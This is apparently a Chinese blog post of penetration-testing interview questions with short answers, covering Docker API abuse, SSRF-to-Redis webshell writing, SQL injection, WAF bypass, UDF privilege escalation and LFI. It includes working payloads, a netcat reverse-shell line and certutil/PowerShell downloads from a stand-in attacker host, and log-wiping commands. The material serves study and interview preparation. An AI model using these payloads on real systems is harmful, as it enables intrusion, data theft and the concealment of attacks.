当前位置: 首页 > news >正文

2025年渗透测试面试题总结-拷打题库08(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

2025年渗透测试面试题总结-拷打题库08

1. Docker远程API漏洞原理

2. SSRF利用Redis写Shell

3. 预编译能否100%防SQL注入?

4. WAF绕过技术

5. SQL注入Payload构造

6. UDF提权原理

7. 提权方式

8. XSS弹窗函数及绕过策略

9. Windows CMD下载文件

10. SVN/GIT源代码泄露

11. reverse_tcp vs bind_tcp

12. Fastjson漏洞

13. 隐藏攻击痕迹

14. 常用漏洞及修复方案

15. 有趣的挖洞经历

16. PHP/Java反序列化漏洞

17. 服务器入侵后应对措施

18. 常用工具及特点

19. 绕过WAF实战(SQLi)

20. 判断SQL注入方法

21. SQL注入漏洞成因与防范

22. 宽字符注入原理

23. CRLF注入原理

24. php.ini 安全设置

25. %00截断原理

26. WebShell检测方法

27. PHP LFI漏洞利用

28. 中间件解析漏洞

29. MySQL密码存储

2025年渗透测试面试题总结-拷打题库08

docker远程api漏洞原理
ssrf怎么用redis写shell
预编译能否100%防sql注入,如果不能,写一个
WAF绕过
SQL注入构造payload
UDF提权原理
提权方式
XSS弹窗函数及常见的XSS绕过策略
Windowscmd如何下载文件
SVN/GIT源代码泄露
reverse_tcp和bind_tcp的区别
什么是fastjson
隐藏攻击痕迹的方法
你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案?
介绍下自认为有趣的挖洞经历
php/java反序列化漏洞的原理?解决方案?
如果一台服务器被入侵后
你平时使用哪些工具?以及对应工具的特点?
如果遇到waf的情况下如何进?sql注入/上传Webshell怎么做?请写出曾经绕过WAF的经过(SQLi,XSS,上传漏洞选一)
如何判断sql注入,有哪些方法
如何判断SQL注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?
为什么有的时候没有错误回显
宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造?
CRLF注入的原理
php.ini可以设置哪些安全特性
php的%00截断的原理是什么
webshell检测,有哪些方法
php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的?
说说常见的中间件解析漏洞利用方式
mysql的用户名密码是存放在那张表里面?mysql密码采用哪种加密方式?

1. Docker远程API漏洞原理

核心原理

  • Docker Remote API默认监听2375端口,若未配置认证(--tlsverify),攻击者可远程操控容器。
  • 利用场景
    bash# 未授权创建恶意容器挂载宿主机根目录 curl -X POST -H "Content-Type: application/json" \ -d '{"Image":"alpine", "Cmd":["/bin/sh"], "HostConfig":{"Binds":["/:/host"]}}' \ http://target:2375/containers/create 

防御方案:启用TLS认证,限制API访问IP。


2. SSRF利用Redis写Shell

步骤

  1. 探测Redis服务:通过SSRF访问http://127.0.0.1:6379
  2. 构造HTTP协议包
    httpgopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$35%0d%0a%0d%0a%0A<?php eval($_GET[cmd]);?>%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a 

关键点:利用Gopher协议发送Redis命令,设置dirdbfilename写入Web目录。


3. 预编译能否100%防SQL注入?

局限性

  • 动态SQL拼接:如存储过程内使用EXECUTE IMMEDIATE
  • 示例漏洞代码
    javaString query = "SELECT * FROM users WHERE id = " + request.getParameter("id"); PreparedStatement stmt = connection.prepareStatement(query); // 预编译无效 

防御方案:禁止动态拼接,全参数化查询。


4. WAF绕过技术

常见方法

  1. 编码混淆
    • URL编码:UNION%20SELECTU%6eion%53elect
  2. 注释分割SEL/**/ECT 1,2,3
  3. 超长数据绕过:填充垃圾字符触发WAF缓存溢出。
  4. 分块传输:利用HTTP分块传输拆分恶意Payload。

5. SQL注入Payload构造

经典案例

  • 时间盲注
    sql' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) -- 
  • 报错注入
    sql' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y) -- 

6. UDF提权原理

流程

  1. 编译恶意共享库(如raptor_udf2.c)为.so.dll
  2. 通过SELECT ... INTO DUMPFILE写入插件目录。
  3. 创建函数:
    sqlCREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so'; 

利用SELECT sys_exec('nc -e /bin/sh attacker_ip 4444');


7. 提权方式

系统方式示例
LinuxSUID提权find / -perm -4000 2>/dev/null
Windows服务路径滥用sc config VulnService binPath= "C:\shell.exe"
通用内核漏洞(CVE-2021-4034)利用Polkit提权

8. XSS弹窗函数及绕过策略

弹窗函数

  • alert(1)prompt(1)confirm(document.cookie)
    绕过策略
  • HTML编码<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>
  • JavaScript伪协议javascript:eval(atob('YWxlcnQoMSk='))
  • 事件处理器<svg/onload=alert(1)>

9. Windows CMD下载文件

方法

  1. CertUtil
    cmdcertutil -urlcache -split -f http://attacker.com/shell.exe C:\Temp\shell.exe 
  2. PowerShell
    powershell(New-Object Net.WebClient).DownloadFile('http://attacker.com/shell.exe', 'shell.exe') 

10. SVN/GIT源代码泄露

利用

  • Git:访问/.git/index,使用工具GitHack还原代码。
  • SVN:下载/.svn/entries解析文件列表,恢复历史版本。

11. reverse_tcp vs bind_tcp

类型连接方向防火墙绕过能力
reverse_tcp目标主动连接攻击机绕过出站限制
bind_tcp攻击机连接目标监听端口需入站端口开放

12. Fastjson漏洞

原理:反序列化时自动调用@type指定类的setter/getter方法,攻击者构造恶意类触发RCE。
修复:升级到安全版本,禁用autoType功能。


13. 隐藏攻击痕迹

方法

  1. 日志清除
    • Linux:shred -n 5 /var/log/auth.log
    • Windows:wevtutil cl Security
  2. 文件隐藏attrib +h +s C:\shell.exe
  3. 进程伪装:将恶意进程命名为svchost.exe

14. 常用漏洞及修复方案

漏洞类型原理修复方案
SQL注入未过滤用户输入拼接SQL参数化查询 + 输入白名单
XSS未编码输出用户可控数据HTML实体转义 + CSP策略
反序列化未校验反序列化对象禁用危险类 + 数据签名校验

15. 有趣的挖洞经历

场景:某CMS后台编辑器存在文件上传漏洞,但后缀限制为.jpg
绕过

  1. 上传图片马,利用文件包含漏洞加载PHP代码。
  2. 构造.htaccess设置AddType application/x-httpd-php .jpg
    成果:获取WebShell并横向渗透内网数据库。

16. PHP/Java反序列化漏洞

原理:反序列化过程中自动执行__destruct()readObject()方法。
修复

  • PHP:禁用unserialize()或限制允许类。
  • Java:重写ObjectInputStream.resolveClass() 校验类名。

17. 服务器入侵后应对措施

  1. 隔离网络:断开网线或禁用网卡。
  2. 取证分析:使用Volatility分析内存镜像。
  3. 漏洞修复:更新补丁,修复弱口令。
  4. 监控加固:部署HIDS(如Osquery)和日志审计。

18. 常用工具及特点

工具用途特点
Nmap端口扫描支持高级脚本探测服务版本
Metasploit漏洞利用框架模块化,集成渗透测试全流程
SqlmapSQL注入自动化支持多数据库,绕过WAF能力强

19. 绕过WAF实战(SQLi)

场景:某云WAF过滤UNION SELECT
绕过

  1. 注释混淆UNI/**/ON SEL/**/ECT 1,2,3
  2. URL编码%55%4e%49%4f%4e%20%53%45%4c%45%43%54
  3. 参数污染id=1&id=2 UNION SELECT 1,2,3
    结果:成功获取管理员密码哈希。

20. 判断SQL注入方法

  1. 错误回显:输入单引号'触发数据库错误。
  2. 布尔盲注id=1 AND 1=1 vs id=1 AND 1=2页面差异。
  3. 时间盲注id=1; IF(1=1, SLEEP(5), 0)延迟响应。

21. SQL注入漏洞成因与防范

成因:动态拼接SQL,未过滤用户输入。
防范

  • 参数化查询(PreparedStatement)。
  • 输入验证(正则白名单)。
    其他利用:读取系统文件(LOAD_FILE)、执行命令(UDF)。

22. 宽字符注入原理

场景:数据库使用GBK编码,'转义为\'%5C%27)。
Payload%bf%27%bf%5C%27 → GBK解析为縗',单引号逃逸。
利用id=%bf%27 UNION SELECT 1,2,3 --


23. CRLF注入原理

示例

  • HTTP头注入/search?q=test%0d%0aSet-Cookie: hacker=1
  • 日志伪造/login?user=admin%0d%0aLogin succeeded

24. php.ini 安全设置

  • disable_functions = exec,system,passthru
  • expose_php = Off
  • open_basedir = /var/www
  • display_errors = Off

25. %00截断原理

条件:PHP <5.3.4,magic_quotes_gpc=Off
利用:上传文件名shell.php%00.jpg ,截断后保存为.php


26. WebShell检测方法

  1. 静态检测:匹配eval(base64_decode等特征。
  2. 动态监控:检测异常文件操作(如写入/tmp)。
  3. 日志分析:追踪可疑HTTP POST请求。

27. PHP LFI漏洞利用

漏洞代码

php<?php include($_GET['page']); ?>

手工测试

  • ?page=../../../../etc/passwd
  • 无回显利用
    php?page=php://filter/convert.base64-encode/resource=config.php 

28. 中间件解析漏洞

中间件漏洞Payload
IIS 6.0目录解析/test.asp/logo.jpg
Apache多后缀解析shell.php.jpg
Nginx路径切割(/test.jpg%20.php配置错误导致PHP执行

29. MySQL密码存储

  • 表名mysql.user
  • 加密方式
    • mysql_native_password(SHA1)
    • caching_sha2_password(SHA256,MySQL 8.0+)

相关文章:

  • Java8-遍历list取出两个字段重新组成list集合
  • FreeSWITCH 简单图形化界面41 - 批量SIP视频呼叫测试
  • SQL注入之information_schema表
  • 浅聊docker的联合文件系统
  • 【AI 加持下的 Python 编程实战 2_07】第七章:基于 Copilot 完整演示问题分解能力在实际问题中的落地应用
  • 从事计算机视觉需要掌握哪些知识
  • 面试题:循环引用两个节点相互引用,如何判断哪个用 shared_ptr?哪个用 weak_ptr?
  • Pytorch实战
  • 软件架构师的“天、人、术、势“:构建未来系统的哲学框架
  • Linux 下依赖库的问题
  • OV-Watch(一)(IAP_F411学习)
  • 【Part 2安卓原生360°VR播放器开发实战】第一节|通过传感器实现VR的3DOF效果
  • Milvus(1):什么是 Milvus
  • 21. git apply
  • 大模型技术解析与应用 | 大语言模型:从理论到实践(第2版)| 复旦大学 | 533页
  • 深度学习方向急出成果,是先广泛调研还是边做实验边优化?
  • springboot自动装配的原理
  • 修改PointLIO项目
  • RHCSA知识点
  • 2025-4-19 情绪周期视角复盘(mini)
  • 中宣部等十部门联合印发《新时代职业道德建设实施纲要》
  • 江南大部、江淮南部等地今起有较强降雨,水利部部署防范工作
  • 海康威视:去年海外主业和机器人等创新业务占比首次超50%
  • 人民网评:官方轻踩刹车,智能驾驶不能“蒙眼狂奔”
  • 杜甫、韦应物背后的世家大族,在这个展览上一览传奇
  • 中华民族共同体体验馆第二期在北京开展,上海体验区展现人民城市与民族团结交融之美